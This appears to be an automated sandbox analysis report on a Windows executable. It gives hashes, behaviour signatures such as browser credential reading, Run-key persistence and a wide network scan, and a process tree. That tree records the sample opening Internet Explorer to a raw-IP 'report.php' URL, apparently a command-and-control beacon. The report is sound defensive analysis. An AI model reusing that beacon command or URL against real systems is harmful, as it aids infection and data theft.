Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2023 10:33

General

  • Target

    07e66076479143a29bbaec9da8864b2c.exe

  • Size

    383KB

  • MD5

    07e66076479143a29bbaec9da8864b2c

  • SHA1

    ea87030e928ce37dc60918c21d90b52b1989f9ba

  • SHA256

    1c7235c940de810ecc7a9399ee35cb5d9c92c8c1d63736d42ecbe3e9c5e03c40

  • SHA512

    0dcfd97a1091ba88d845e06c33eb677b7ded09563c8a9fd99d19c2213b99e92c8c4cc8ee71c7c9c65de83d254a4fe380d6e059cdf75ea56d965d4b192a57df97

  • SSDEEP

    3072:B7puEEMoTEqTY9VfrW7puEEMoTEqTY9VfrWqilLoME2PLgx4HS9aukflTOAx06Np:ppMM8EV1GpMM8EV1WoME1ESbkflTOASa

Malware Config

Signatures

  • Contacts a large (1221) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\07e66076479143a29bbaec9da8864b2c.exe
    "C:\Users\Admin\AppData\Local\Temp\07e66076479143a29bbaec9da8864b2c.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4548
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4548 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3112

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0A013ETK\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\odt\office2016setup.exe

    Filesize

    4.3MB

    MD5

    3dc4e95c1eca5b1dea28ed0673f37ecb

    SHA1

    f90a151eae5895fb71bd79ad961bff6c2cfbb015

    SHA256

    f2c5dcb24c7fda3dbc650a4327a3796ed0b947f89ca4c1a9483b66f132dce3cd

    SHA512

    013f86400e75968ef291c5259d02a2be9b440ba028167c5b2f5751cf2c62cbdfcca329beaaf923c4f6076e94490244d6fa476ab1ace6a473462c175e4a1e77fa

  • memory/1092-0-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1092-8582-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB